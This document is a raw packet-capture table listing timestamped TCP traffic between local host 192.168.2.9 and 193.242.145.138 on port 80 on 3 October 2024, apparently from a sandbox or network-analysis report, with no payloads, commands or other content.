Oct 3, 2024 09:20:35.316548109 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.316555977 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.316562891 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.316574097 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.316576004 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.316586971 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.316598892 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.316608906 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.316610098 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.316622019 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.316632986 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.316633940 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.316646099 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.316652060 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.316678047 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.317327023 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.317337036 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.317348957 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.317354918 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.317364931 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.317375898 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.317374945 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.317388058 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.317395926 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.317399979 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.317411900 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.317419052 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.317423105 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.317430973 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.317435980 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.317446947 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.317456007 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.317457914 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.317465067 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.317476034 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.317478895 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.317506075 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.318275928 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.318288088 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.318298101 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.318308115 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.318320990 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.318331957 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.318342924 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.318344116 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.318353891 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.318366051 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.318367004 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.318377018 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.318387985 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.318412066 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.318416119 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.318423033 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.318427086 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.318439007 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.318449020 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.318449020 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.318473101 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.319111109 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.319123983 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.319133997 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.319144011 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.319154024 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.319154978 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.319164991 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.319183111 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.319188118 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.319207907 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.319215059 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.319219112 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.319231033 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.319236040 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.319243908 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.319253922 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.319253922 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.319269896 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.319279909 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.319310904 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.400645018 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.400687933 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.400701046 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.400741100 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.400823116 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.400834084 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.400845051 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.400856972 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.400867939 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.400870085 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.400881052 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.400927067 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.401113033 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.401124954 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.401135921 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.401141882 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.401154041 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.401184082 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.401411057 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.401465893 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.401500940 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.401513100 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.401523113 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.401529074 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.401540041 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.401551008 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.401561975 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.401573896 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.401613951 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.401926041 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.401937962 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.401948929 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.401962996 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.401979923 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.402007103 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.402204037 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.402215004 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.402234077 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.402242899 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.402246952 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.402256012 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.402267933 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.402278900 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.402285099 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.402292013 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.402302980 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.402303934 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.402316093 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.402324915 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.402327061 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.402340889 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.402354956 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.402371883 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.403028965 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.403039932 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.403050900 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.403062105 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.403073072 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.403074980 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.403084040 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.403086901 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.403095007 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.403105021 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.403115988 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.403125048 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.403126955 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.403141022 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.403145075 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.403152943 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.403163910 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.403172016 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.403176069 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.403199911 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.403203011 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.403209925 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.403220892 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.403250933 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.403954029 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.403966904 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.403978109 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.403985977 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.403996944 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.404000998 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.404010057 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.404021978 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.404026031 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.404033899 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.404045105 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.404052019 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.404057026 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.404069901 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.404073954 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.404082060 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.404093981 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.404093981 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.404105902 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.404118061 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.404124975 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.404133081 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.404149055 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.404166937 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.404813051 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.404824972 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.404836893 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.404850006 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.404860020 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.404865980 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.404881001 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.404892921 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.404894114 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.404906034 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.404913902 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.404918909 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.404931068 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.404937029 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.404937029 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.404949903 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.404954910 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.404961109 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.404964924 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.404973030 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.405010939 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.405028105 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.405903101 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.405915976 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.405926943 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.405939102 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.405950069 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.405957937 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.405963898 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.405976057 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.405987024 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.405997038 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.405997992 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.406011105 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.406019926 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.406023026 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.406028986 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.406039000 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.406050920 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.406055927 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.406061888 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.406075001 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.406083107 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.406120062 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.406855106 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.406867027 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.406877995 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.406889915 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.406897068 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.406904936 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.406919003 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.406925917 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.406930923 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.406943083 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.406949997 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.406955004 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.406970024 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.406974077 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.406981945 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.406992912 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.407001972 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.407004118 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.407025099 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.407026052 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.407042980 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.407053947 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.407087088 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.507122040 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.512187004 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.512228012 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.512240887 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.512294054 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.512335062 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.512397051 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.523026943 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.528266907 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.528306007 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.528318882 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.528367043 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.528426886 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.528443098 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.528474092 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.528577089 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.528590918 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.528604031 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.528615952 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.528624058 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.528629065 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.528645992 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.528670073 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.528837919 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.528908968 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.528924942 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.528938055 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.528949976 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.528953075 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.528980970 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.529217958 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.529232025 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.529243946 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.529268026 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.529278040 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.529360056 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.529372931 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.529386044 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.529398918 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.529409885 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.529422998 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.529422998 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.529432058 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.529431105 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.529445887 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.529457092 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.529467106 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.529469967 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.529479980 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.529481888 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.529506922 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.530328035 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.530345917 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.530353069 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.530364990 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.530375957 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.530388117 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.530389071 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.530400038 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.530409098 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.530412912 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.530428886 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.530440092 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.530447006 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.530452013 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.530464888 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.530476093 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.530476093 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.530491114 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.530495882 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.530535936 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.531078100 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.531121969 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.531270027 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.531282902 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.531296015 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.531308889 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.531320095 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.531325102 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.531332970 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.531344891 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.531352043 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.531357050 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.531372070 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.531373978 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.531399012 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.531399965 CEST	80	49706	193.242.145.138	192.168.2.9
